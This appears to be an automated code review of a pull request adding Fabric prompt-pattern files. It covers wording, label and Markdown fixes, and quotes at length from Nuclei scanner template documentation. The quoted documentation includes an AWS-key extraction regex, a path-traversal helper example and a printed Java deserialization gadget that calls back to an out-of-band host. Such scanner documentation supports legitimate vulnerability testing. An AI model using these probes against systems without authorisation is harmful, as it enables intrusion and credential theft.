Dunning-Kruger effect..." und die Phrasen "input owner
overestimate/underestimate", "misinterpretation ... which are" sowie "principal
5 gaps": straffe die Formulierungen grammatikalisch und semantisch
(Subjekt-Verb-Kongruenz, Singular/Plural, klare Referenzen), ersetze unklare
Ausdrücke durch präzise Formulierungen (z. B. "input owner" → "input
owner/author" oder "the person providing the input"; "overestimate/underestimate
their knowledge or skill" → "overestimates/underestimates their own ability"),
und wende die gleichen Korrekturen konsistent in den Bereichen genannt (Zeilen
24–26 und 32). Achte darauf, dass jede Anweisung knapp, aktiv formuliert und
eindeutig referenziert, damit Prompt-Policies sie zuverlässig befolgen können.
- Around line 32-37: Resolve the conflicting directives by making the required
summary explicitly part of the allowed sections: update the phrase "At the end
summarize the findings and give the input owner a motivational and constructive
perspective on how they can start to tackle principal 5 gaps in their perceived
skills and knowledge competencies. Don't be over simplistic." to state that this
summary must appear as the final allowed section, and revise or remove the
absolute restriction "Do not output any content other than the sections above."
so it permits that final summary; ensure the wording clearly states the summary
is included in the permitted output sections and keeps the other output rules
(valid basic Markdown, no extra formatting).
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Line 56: The string "aI's" is misspelled; replace the token "aI's" with "AI's"
so the capitalization of "AI" is consistent (search for the literal "aI's" in
the document and update it to "AI's").
- Around line 99-102: Das Beispiel-Label "Cybersecurity" in der LABELS-Demo
verletzt die erlaubte Schreibweise; suche die LABELS-Zeile (LABELS: (labels))
und ersetze "Cybersecurity" durch die exakt erlaubte Schreibweise
"CyberSecurity" (wie in AVAILABLE LABELS genannt); prüfe und passe außerdem alle
anderen Beispiel-Labels in derselben Datei
(.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md) auf genaue
Groß-/Kleinschreibung an, um Konsistenz mit AVAILABLE LABELS sicherzustellen.
In @.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md:
- Around line 23-35: Update the example flashcards in system.md to match the
source facts: change the answer for "Q: What is the average level on which the
Dead Sea is located? A: 400 meters (below sea level)" to "396 m (below sea
level)" and change the answer for "Q: How long is the Dead Sea? A: 70 km" to "74
km"; ensure units and phrasing match the original text (396 m below sea level,
74 km long) in the two corresponding Q/A lines.
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Around line 46-1713: The markdown has lint issues: add explicit language
identifiers to fenced code blocks (e.g., replace triple-backtick blocks like ```
with ```yaml, ```json, or ```text as appropriate for examples such as the
matchers, binary, xpath, extractors and payload snippets) and fix heading-level
inconsistencies (e.g., change the incorrect "### What are Nuclei Templates?" to
"## What are Nuclei Templates?" or otherwise restore sequential heading
hierarchy) so MD040/MD001 are resolved; search for plain triple-backtick fences
and the heading string "### What are Nuclei Templates?" plus other
non-sequential headings and update them accordingly (also ensure the author
field value is set to "pd-bot" in info blocks).
---
Duplicate comments:
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Around line 1-11: The file starts with "IDENTITY and PURPOSE" but lacks the
required PAI Skill activation block; add an explicit "USE WHEN" trigger section
at the top of the document to comply with the PAI Skills format so agents can
select the skill reliably, ensuring the block appears before "IDENTITY and
PURPOSE" and uses clear activation conditions (e.g., keywords, intents or
contexts) referenced in your skill selection logic; update any metadata or
header parsing consumers (the same file's top-level skill parser) to recognize
the new "USE WHEN" section if needed.
In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md:
- Around line 92-126: Die Fenced-Code-Blöcke in ExecutePattern.md fehlen
Sprach-Tags (MD040); ergänze für alle dreifachen-backtick-Abschnitte — z.B. die
Blöcke die "## SUMMARY", "User Request", "Pattern '[name]' not found in
~/.opencode/skills/Utilities/Fabric/Patterns/" und "No content provided for
pattern execution." enthalten — jeweils ein Sprach-Tag wie text (```text) am
öffnenden Backtick, und lasse das schließende ``` unverändert; wiederhole die
Änderung auch für die weiteren betroffenen Bereiche (ungefähr die Bereiche
132–166, 198–206, 209–216) so dass alle Fenced-Code-Blöcke eine Sprache
zugewiesen haben.
---
Nitpick comments:
In @.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md:
- Around line 10-16: The output format is ambiguous between item 4 ("Write 8
16-word bullets outlining a career development plan for the next 3 years.") and
item 5 ("Provide recommendations on how to achieve the career goals and
milestones identified."); update system.md to explicitly state whether
recommendations are part of the same 8 bullets or must be a separate block, and
prescribe exact labels/structure (e.g., "Career Plan: 8 bullets, each 16 words"
followed by a separate "Recommendations:" block with X bullets or paragraphs).
Ensure you update the wording for items "4." and "5." so the generator knows to
produce two distinct sections and include any required headings and spacing
rules.
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Line 190: The output rule text in system.md is missing the conjunction "or",
making it ambiguous; update the sentence "Do not return arrays any other data
types." to include "or" so it reads "Do not return arrays or any other data
types." to clearly restrict returned JSON values to strings only.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: 46f68707-36f0-4e76-8a34-9b7aa349de7c
📒 Files selected for processing (11)
.opencode/skills/Utilities/Fabric/Patterns/summarize_git_changes/system.md.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md.opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/README.md.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md
✅ Files skipped from review due to trivial changes (1)
- .opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/README.md
|
|
||
| # IN-PERSON RPG SESSION TRANSCRIPT: | ||
|
|
||
| (Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't.)" |
Contributor
There was a problem hiding this comment.
Unbalanciertes Anführungszeichen im Transkript-Hinweis entfernen.
Am Ende von Line 104 steht ein zusätzliches "; das kann als störendes Literal in den Prompt gelangen.
✏️ Vorschlag
-(Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't.)"
+(Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't.)📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| (Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't.)" | |
| (Note that the transcript below is of the full conversation between friends, and may include regular conversation throughout. Read the whole thing and figure out yourself which part is part of the game and which parts aren't.) |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md
at line 104, Die abschließende doppelte Anführungszeichen am Ende der
Hinweiszeile "(Note that the transcript below is of the full conversation
between friends, and may include regular conversation throughout. Read the whole
thing and figure out yourself which part is part of the game and which parts
aren't.)" entfernen; suche die Zeichenfolge in system.md (Zeile enthält genau
diesen Hinweis) und lösche das überflüssige Abschluss-" damit kein
unbalanciertes Anführungszeichen als Literal in den Prompt gelangt.
Comment on lines
+23
to
+35
| Text: The characteristics of the Dead Sea: Salt lake located on the border between Israel and Jordan. Its shoreline is the lowest point on the Earth's surface, averaging 396 m below sea level. It is 74 km long. It is seven times as salty (30% by volume) as the ocean. Its density keeps swimmers afloat. Only simple organisms can live in its saline waters | ||
|
|
||
| Create cards based on the above text as follows: | ||
|
|
||
| Q: Where is the Dead Sea located? A: on the border between Israel and Jordan | ||
| Q: What is the lowest point on the Earth's surface? A: The Dead Sea shoreline | ||
| Q: What is the average level on which the Dead Sea is located? A: 400 meters (below sea level) | ||
| Q: How long is the Dead Sea? A: 70 km | ||
| Q: How much saltier is the Dead Sea as compared with the oceans? A: 7 times | ||
| Q: What is the volume content of salt in the Dead Sea? A: 30% | ||
| Q: Why can the Dead Sea keep swimmers afloat? A: due to high salt content | ||
| Q: Why is the Dead Sea called Dead? A: because only simple organisms can live in it | ||
| Q: Why only simple organisms can live in the Dead Sea? A: because of high salt content |
Contributor
There was a problem hiding this comment.
Beispiel enthält sachliche Abweichungen zum Quelltext.
Die Musterkarten übernehmen zwei Werte falsch: In Line 29 steht „400 meters“ statt 396 m, und in Line 30 steht „70 km“ statt 74 km. Das schwächt die Qualität des Referenzbeispiels.
💡 Vorschlag zur Korrektur
-Q: What is the average level on which the Dead Sea is located? A: 400 meters (below sea level)
-Q: How long is the Dead Sea? A: 70 km
+Q: What is the average level at which the Dead Sea shoreline is located? A: 396 meters below sea level
+Q: How long is the Dead Sea? A: 74 km🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md around
lines 23 - 35, Update the example flashcards in system.md to match the source
facts: change the answer for "Q: What is the average level on which the Dead Sea
is located? A: 400 meters (below sea level)" to "396 m (below sea level)" and
change the answer for "Q: How long is the Dead Sea? A: 70 km" to "74 km"; ensure
units and phrasing match the original text (396 m below sea level, 74 km long)
in the two corresponding Q/A lines.
Comment on lines
+46
to
+1713
| ``` | ||
| Matcher Type Part Matched | ||
| status Integer Comparisons of Part | ||
| size Content Length of Part | ||
| word Part for a protocol | ||
| regex Part for a protocol | ||
| binary Part for a protocol | ||
| dsl Part for a protocol | ||
| xpath Part for a protocol | ||
| ``` | ||
| To match status codes for responses, you can use the following syntax. | ||
|
|
||
| ``` | ||
| matchers: | ||
| # Match the status codes | ||
| - type: status | ||
| # Some status codes we want to match | ||
| status: | ||
| - 200 | ||
| - 302 | ||
| ``` | ||
| To match binary for hexadecimal responses, you can use the following syntax. | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: binary | ||
| binary: | ||
| - \"504B0304\" # zip archive | ||
| - \"526172211A070100\" # RAR archive version 5.0 | ||
| - \"FD377A585A0000\" # xz tar.xz archive | ||
| condition: or | ||
| part: body | ||
| ``` | ||
| Matchers also support hex encoded data which will be decoded and matched. | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: word | ||
| encoding: hex | ||
| words: | ||
| - \"50494e47\" | ||
| part: body | ||
| ``` | ||
| Word and Regex matchers can be further configured depending on the needs of the users. | ||
|
|
||
| XPath matchers use XPath queries to match XML and HTML responses. If the XPath query returns any results, it’s considered a match. | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: xpath | ||
| part: body | ||
| xpath: | ||
| - \"/html/head/title[contains(text(), \'Example Domain\')]\" | ||
| ``` | ||
| Complex matchers of type dsl allows building more elaborate expressions with helper functions. These function allow access to Protocol Response which contains variety of data based on each protocol. See protocol specific documentation to learn about different returned results. | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: dsl | ||
| dsl: | ||
| - \"len(body)<1024 && status_code==200\" # Body length less than 1024 and 200 status code | ||
| - \"contains(toupper(body), md5(cookie))\" # Check if the MD5 sum of cookies is contained in the uppercase body | ||
| ``` | ||
| Every part of a Protocol response can be matched with DSL matcher. Some examples: | ||
|
|
||
| Response Part Description Example : | ||
| content_length Content-Length Header content_length >= 1024 | ||
| status_code Response Status Code status_code==200 | ||
| all_headers All all headers len(all_headers) | ||
| body Body as string len(body) | ||
| header_name header name with - converted to _ len(user_agent) | ||
| raw Headers + Response len(raw) | ||
|
|
||
| ### Conditions | ||
| Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like AND and OR. | ||
|
|
||
| AND - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched. | ||
| OR - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher. | ||
|
|
||
| Matched Parts | ||
| Multiple parts of the response can also be matched for the request, default matched part is body if not defined. | ||
|
|
||
| Example matchers for HTTP response body using the AND condition: | ||
|
|
||
| ``` | ||
| matchers: | ||
| # Match the body word | ||
| - type: word | ||
| # Some words we want to match | ||
| words: | ||
| - \"[core]\" | ||
| - \"[config]\" | ||
| # Both words must be found in the response body | ||
| condition: and | ||
| # We want to match request body (default) | ||
| part: body | ||
| ``` | ||
| Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility. | ||
|
|
||
|
|
||
| ### Negative Matchers | ||
| All types of matchers also support negative conditions, mostly useful when you look for a match with an exclusions. This can be used by adding negative: true in the matchers block. | ||
|
|
||
| Here is an example syntax using negative condition, this will return all the URLs not having PHPSESSID in the response header. | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"PHPSESSID\" | ||
| part: header | ||
| negative: true | ||
| ``` | ||
|
|
||
| ### Multiple Matchers | ||
| Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request. | ||
|
|
||
| Here is an example of syntax for multiple matchers. | ||
|
|
||
| ``` | ||
| matchers: | ||
| - type: word | ||
| name: php | ||
| words: | ||
| - \"X-Powered-By: PHP\" | ||
| - \"PHPSESSID\" | ||
| part: header | ||
| - type: word | ||
| name: node | ||
| words: | ||
| - \"Server: NodeJS\" | ||
| - \"X-Powered-By: nodejs\" | ||
| condition: or | ||
| part: header | ||
| - type: word | ||
| name: python | ||
| words: | ||
| - \"Python/2.\" | ||
| - \"Python/3.\" | ||
| condition: or | ||
| part: header | ||
| ``` | ||
|
|
||
| ### Matchers Condition | ||
| While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true. | ||
|
|
||
| ``` | ||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"X-Powered-By: PHP\" | ||
| - \"PHPSESSID\" | ||
| condition: or | ||
| part: header | ||
|
|
||
| - type: word | ||
| words: | ||
| - \"PHP\" | ||
| part: body | ||
| ``` | ||
|
|
||
|
|
||
| # Extractors | ||
| Review details on extractors for Nuclei | ||
| Extractors can be used to extract and display in results a match from the response returned by a module. | ||
|
|
||
|
|
||
| ### Types | ||
| Multiple extractors can be specified in a request. As of now we support five type of extractors. | ||
| ``` | ||
| regex - Extract data from response based on a Regular Expression. | ||
| kval - Extract key: value/key=value formatted data from Response Header/Cookie | ||
| json - Extract data from JSON based response in JQ like syntax. | ||
| xpath - Extract xpath based data from HTML Response | ||
| dsl - Extract data from the response based on a DSL expressions. | ||
| ``` | ||
|
|
||
| Regex Extractor | ||
| Example extractor for HTTP Response body using regex: | ||
|
|
||
| ``` | ||
| extractors: | ||
| - type: regex # type of the extractor | ||
| part: body # part of the response (header,body,all) | ||
| regex: | ||
| - \"(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}\" # regex to use for extraction. | ||
| ``` | ||
| Kval Extractor | ||
| A kval extractor example to extract content-type header from HTTP Response. | ||
|
|
||
| ``` | ||
| extractors: | ||
| - type: kval # type of the extractor | ||
| kval: | ||
| - content_type # header/cookie value to extract from response | ||
| ``` | ||
| Note that content-type has been replaced with content_type because kval extractor does not accept dash (-) as input and must be substituted with underscore (_). | ||
|
|
||
|
|
||
| JSON Extractor | ||
| A json extractor example to extract value of id object from JSON block. | ||
|
|
||
| ``` | ||
| - type: json # type of the extractor | ||
| part: body | ||
| name: user | ||
| json: | ||
| - \'.[] | .id\' # JQ like syntax for extraction | ||
| ``` | ||
| For more details about JQ - https://github.com/stedolan/jq | ||
|
|
||
|
|
||
| Xpath Extractor | ||
| A xpath extractor example to extract value of href attribute from HTML response. | ||
|
|
||
| ``` | ||
| extractors: | ||
| - type: xpath # type of the extractor | ||
| attribute: href # attribute value to extract (optional) | ||
| xpath: | ||
| - \'/html/body/div/p[2]/a\' # xpath value for extraction | ||
| ``` | ||
|
|
||
| With a simple copy paste in browser, we can get the xpath value form any web page content. | ||
|
|
||
|
|
||
| DSL Extractor | ||
| A dsl extractor example to extract the effective body length through the len helper function from HTTP Response. | ||
|
|
||
| ``` | ||
| extractors: | ||
| - type: dsl # type of the extractor | ||
| dsl: | ||
| - len(body) # dsl expression value to extract from response | ||
| ``` | ||
|
|
||
| Dynamic Extractor | ||
| Extractors can be used to capture Dynamic Values on runtime while writing Multi-Request templates. CSRF Tokens, Session Headers, etc. can be extracted and used in requests. This feature is only available in RAW request format. | ||
|
|
||
| Example of defining a dynamic extractor with name api which will capture a regex based pattern from the request. | ||
|
|
||
| ``` | ||
| extractors: | ||
| - type: regex | ||
| name: api | ||
| part: body | ||
| internal: true # Required for using dynamic variables | ||
| regex: | ||
| - \"(?m)[0-9]{3,10}\\.[0-9]+\" | ||
| ``` | ||
| The extracted value is stored in the variable api, which can be utilised in any section of the subsequent requests. | ||
|
|
||
| If you want to use extractor as a dynamic variable, you must use internal: true to avoid printing extracted values in the terminal. | ||
|
|
||
| An optional regex match-group can also be specified for the regex for more complex matches. | ||
|
|
||
| ``` | ||
| extractors: | ||
| - type: regex # type of extractor | ||
| name: csrf_token # defining the variable name | ||
| part: body # part of response to look for | ||
| # group defines the matching group being used. | ||
| # In GO the \"match\" is the full array of all matches and submatches | ||
| # match[0] is the full match | ||
| # match[n] is the submatches. Most often we\'d want match[1] as depicted below | ||
| group: 1 | ||
| regex: | ||
| - \'<input\sname=\"csrf_token\"\stype=\"hidden\"\svalue=\"([[:alnum:]]{16})\"\s/>\' | ||
| ``` | ||
| The above extractor with name csrf_token will hold the value extracted by ([[:alnum:]]{16}) as abcdefgh12345678. | ||
|
|
||
| If no group option is provided with this regex, the above extractor with name csrf_token will hold the full match (by <input name=\"csrf_token\"\stype=\"hidden\"\svalue=\"([[:alnum:]]{16})\" />) as `<input name=\"csrf_token\" type=\"hidden\" value=\"abcdefgh12345678\" />` | ||
|
|
||
|
|
||
| # Variables | ||
| Review details on variables for Nuclei | ||
| Variables can be used to declare some values which remain constant throughout the template. The value of the variable once calculated does not change. Variables can be either simple strings or DSL helper functions. If the variable is a helper function, it is enclosed in double-curly brackets {{<expression>}}. Variables are declared at template level. | ||
|
|
||
| Example variables: | ||
|
|
||
| ``` | ||
| variables: | ||
| a1: \"test\" # A string variable | ||
| a2: \"{{to_lower(rand_base(5))}}\" # A DSL function variable | ||
| ``` | ||
| Currently, dns, http, headless and network protocols support variables. | ||
|
|
||
| Example of templates with variables are below. | ||
|
|
||
|
|
||
| # Variable example using HTTP requests | ||
| ``` | ||
| id: variables-example | ||
|
|
||
| info: | ||
| name: Variables Example | ||
| author: princechaddha | ||
| severity: info | ||
|
|
||
| variables: | ||
| a1: \"value\" | ||
| a2: \"{{base64(\'hello\')}}\" | ||
|
|
||
| http: | ||
| - raw: | ||
| - | | ||
| GET / HTTP/1.1 | ||
| Host: {{FQDN}} | ||
| Test: {{a1}} | ||
| Another: {{a2}} | ||
| stop-at-first-match: true | ||
| matchers-condition: or | ||
| matchers: | ||
| - type: word | ||
| words: | ||
| - \"value\" | ||
| - \"aGVsbG8=\" | ||
| ``` | ||
|
|
||
| # Variable example for network requests | ||
| ``` | ||
| id: variables-example | ||
|
|
||
| info: | ||
| name: Variables Example | ||
| author: princechaddha | ||
| severity: info | ||
|
|
||
| variables: | ||
| a1: \"PING\" | ||
| a2: \"{{base64(\'hello\')}}\" | ||
|
|
||
| tcp: | ||
| - host: | ||
| - \"{{Hostname}}\" | ||
| inputs: | ||
| - data: \"{{a1}}\" | ||
| read-size: 8 | ||
| matchers: | ||
| - type: word | ||
| part: data | ||
| words: | ||
| - \"{{a2}}\" | ||
| ``` | ||
|
|
||
| Set the authorname as pd-bot | ||
|
|
||
| # Helper Functions | ||
| Review details on helper functions for Nuclei | ||
| Here is the list of all supported helper functions can be used in the RAW requests / Network requests. | ||
|
|
||
| Helper function Description Example Output | ||
| aes_gcm(key, plaintext interface) []byte AES GCM encrypts a string with key {{hex_encode(aes_gcm(\"AES256Key-32Characters1234567890\", \"exampleplaintext\"))}} ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4 | ||
| base64(src interface) string Base64 encodes a string base64(\"Hello\") SGVsbG8= | ||
| base64_decode(src interface) []byte Base64 decodes a string base64_decode(\"SGVsbG8=\") Hello | ||
| base64_py(src interface) string Encodes string to base64 like python (with new lines) base64_py(\"Hello\") SGVsbG8= | ||
|
|
||
| bin_to_dec(binaryNumber number | string) float64 Transforms the input binary number into a decimal format bin_to_dec(\"0b1010\")<br>bin_to_dec(1010) 10 | ||
| compare_versions(versionToCheck string, constraints …string) bool Compares the first version argument with the provided constraints compare_versions(\'v1.0.0\', \'\>v0.0.1\', \'\<v1.0.1\') true | ||
| concat(arguments …interface) string Concatenates the given number of arguments to form a string concat(\"Hello\", 123, \"world\") Hello123world | ||
| contains(input, substring interface) bool Verifies if a string contains a substring contains(\"Hello\", \"lo\") true | ||
| contains_all(input interface, substrings …string) bool Verifies if any input contains all of the substrings contains(\"Hello everyone\", \"lo\", \"every\") true | ||
| contains_any(input interface, substrings …string) bool Verifies if an input contains any of substrings contains(\"Hello everyone\", \"abc\", \"llo\") true | ||
| date_time(dateTimeFormat string, optionalUnixTime interface) string Returns the formatted date time using simplified or go style layout for the current or the given unix time date_time(\"%Y-%M-%D %H:%m\")<br>date_time(\"%Y-%M-%D %H:%m\", 1654870680)<br>date_time(\"2006-01-02 15:04\", unix_time()) 2022-06-10 14:18 | ||
| dec_to_hex(number number | string) string Transforms the input number into hexadecimal format dec_to_hex(7001) 1b59 | ||
| ends_with(str string, suffix …string) bool Checks if the string ends with any of the provided substrings ends_with(\"Hello\", \"lo\") true | ||
| generate_java_gadget(gadget, cmd, encoding interface) string Generates a Java Deserialization Gadget generate_java_gadget(\"dns\", \"{{interactsh-url}}\", \"base64\") rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54 | ||
| generate_jwt(json, algorithm, signature, unixMaxAge) []byte Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm generate_jwt("{\\"name\\":\\"John Doe\\",\\"foo\\":\\"bar\\"}", "HS256", "hello-world") [EXAMPLE_JWT_TOKEN] | ||
| gzip(input string) string Compresses the input using GZip base64(gzip(\"Hello\")) +H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA= | ||
| gzip_decode(input string) string Decompresses the input using GZip gzip_decode(hex_decode(\"1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000\")) Hello | ||
| hex_decode(input interface) []byte Hex decodes the given input hex_decode(\"6161\") aa | ||
| hex_encode(input interface) string Hex encodes the given input hex_encode(\"aa\") 6161 | ||
| hex_to_dec(hexNumber number | string) float64 Transforms the input hexadecimal number into decimal format hex_to_dec(\"ff\")<br>hex_to_dec(\"0xff\") 255 | ||
| hmac(algorithm, data, secret) string hmac function that accepts a hashing function type with data and secret hmac(\"sha1\", \"test\", \"scrt\") 8856b111056d946d5c6c92a21b43c233596623c6 | ||
| html_escape(input interface) string HTML escapes the given input html_escape(\"\<body\>test\</body\>\") <body>test</body> | ||
| html_unescape(input interface) string HTML un-escapes the given input html_unescape(\"<body>test</body>\") \<body\>test\</body\> | ||
| join(separator string, elements …interface) string Joins the given elements using the specified separator join(\"_\", 123, \"hello\", \"world\") 123_hello_world | ||
| json_minify(json) string Minifies a JSON string by removing unnecessary whitespace json_minify(\"{ \\"name\\": \\"John Doe\\", \\"foo\\": \\"bar\\" }\") {\"foo\":\"bar\",\"name\":\"John Doe\"} | ||
| json_prettify(json) string Prettifies a JSON string by adding indentation json_prettify(\"{\\"foo\\":\\"bar\\",\\"name\\":\\"John Doe\\"}\") { | ||
| \\"foo\\": \\"bar\\", | ||
| \\"name\\": \\"John Doe\\" | ||
| } | ||
| len(arg interface) int Returns the length of the input len(\"Hello\") 5 | ||
| line_ends_with(str string, suffix …string) bool Checks if any line of the string ends with any of the provided substrings line_ends_with(\"Hello | ||
| Hi\", \"lo\") true | ||
| line_starts_with(str string, prefix …string) bool Checks if any line of the string starts with any of the provided substrings line_starts_with(\"Hi | ||
| Hello\", \"He\") true | ||
| md5(input interface) string Calculates the MD5 (Message Digest) hash of the input md5(\"Hello\") 8b1a9953c4611296a827abf8c47804d7 | ||
| mmh3(input interface) string Calculates the MMH3 (MurmurHash3) hash of an input mmh3(\"Hello\") 316307400 | ||
| oct_to_dec(octalNumber number | string) float64 Transforms the input octal number into a decimal format oct_to_dec(\"0o1234567\")<br>oct_to_dec(1234567) 342391 | ||
| print_debug(args …interface) Prints the value of a given input or expression. Used for debugging. print_debug(1+2, \"Hello\") 3 Hello | ||
| rand_base(length uint, optionalCharSet string) string Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) rand_base(5, \"abc\") caccb | ||
| rand_char(optionalCharSet string) string Generates a random character from an optional character set (defaults to letters and numbers) rand_char(\"abc\") a | ||
| rand_int(optionalMin, optionalMax uint) int Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) rand_int(1, 10) 6 | ||
| rand_text_alpha(length uint, optionalBadChars string) string Generates a random string of letters, of given length, excluding the optional cutset characters rand_text_alpha(10, \"abc\") WKozhjJWlJ | ||
| rand_text_alphanumeric(length uint, optionalBadChars string) string Generates a random alphanumeric string, of given length without the optional cutset characters rand_text_alphanumeric(10, \"ab12\") NthI0IiY8r | ||
| rand_ip(cidr …string) string Generates a random IP address rand_ip(\"192.168.0.0/24\") 192.168.0.171 | ||
| rand_text_numeric(length uint, optionalBadNumbers string) string Generates a random numeric string of given length without the optional set of undesired numbers rand_text_numeric(10, 123) 0654087985 | ||
| regex(pattern, input string) bool Tests the given regular expression against the input string regex(\"H([a-z]+)o\", \"Hello\") true | ||
| remove_bad_chars(input, cutset interface) string Removes the desired characters from the input remove_bad_chars(\"abcd\", \"bc\") ad | ||
| repeat(str string, count uint) string Repeats the input string the given amount of times repeat(\"../\", 5) ../../../../../ | ||
| replace(str, old, new string) string Replaces a given substring in the given input replace(\"Hello\", \"He\", \"Ha\") Hallo | ||
| replace_regex(source, regex, replacement string) string Replaces substrings matching the given regular expression in the input replace_regex(\"He123llo\", \"(\\d+)\", \"\") Hello | ||
| reverse(input string) string Reverses the given input reverse(\"abc\") cba | ||
| sha1(input interface) string Calculates the SHA1 (Secure Hash 1) hash of the input sha1(\"Hello\") f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0 | ||
| sha256(input interface) string Calculates the SHA256 (Secure Hash 256) hash of the input sha256(\"Hello\") 185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969 | ||
| starts_with(str string, prefix …string) bool Checks if the string starts with any of the provided substrings starts_with(\"Hello\", \"He\") true | ||
| to_lower(input string) string Transforms the input into lowercase characters to_lower(\"HELLO\") hello | ||
| to_unix_time(input string, layout string) int Parses a string date time using default or user given layouts, then returns its Unix timestamp to_unix_time(\"2022-01-13T16:30:10+00:00\")<br>to_unix_time(\"2022-01-13 16:30:10\")<br>to_unix_time(\"13-01-2022 16:30:10\". \"02-01-2006 15:04:05\") 1642091410 | ||
| to_upper(input string) string Transforms the input into uppercase characters to_upper(\"hello\") HELLO | ||
| trim(input, cutset string) string Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed trim(\"aaaHelloddd\", \"ad\") Hello | ||
| trim_left(input, cutset string) string Returns a slice of the input with all leading Unicode code points contained in cutset removed trim_left(\"aaaHelloddd\", \"ad\") Helloddd | ||
| trim_prefix(input, prefix string) string Returns the input without the provided leading prefix string trim_prefix(\"aaHelloaa\", \"aa\") Helloaa | ||
| trim_right(input, cutset string) string Returns a string, with all trailing Unicode code points contained in cutset removed trim_right(\"aaaHelloddd\", \"ad\") aaaHello | ||
| trim_space(input string) string Returns a string, with all leading and trailing white space removed, as defined by Unicode trim_space(\" Hello \") \"Hello\" | ||
| trim_suffix(input, suffix string) string Returns input without the provided trailing suffix string trim_suffix(\"aaHelloaa\", \"aa\") aaHello | ||
| unix_time(optionalSeconds uint) float64 Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds unix_time(10) 1639568278 | ||
| url_decode(input string) string URL decodes the input string url_decode(\"https:%2F%2Fprojectdiscovery.io%3Ftest=1\") https://projectdiscovery.io?test=1 | ||
| url_encode(input string) string URL encodes the input string url_encode(\"https://projectdiscovery.io/test?a=1\") https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1 | ||
| wait_for(seconds uint) Pauses the execution for the given amount of seconds wait_for(10) true | ||
| zlib(input string) string Compresses the input using Zlib base64(zlib(\"Hello\")) eJzySM3JyQcEAAD//wWMAfU= | ||
| zlib_decode(input string) string Decompresses the input using Zlib zlib_decode(hex_decode(\"789cf248cdc9c907040000ffff058c01f5\")) Hello | ||
| resolve(host string, format string) string Resolves a host using a dns type that you define resolve(\"localhost\",4) 127.0.0.1 | ||
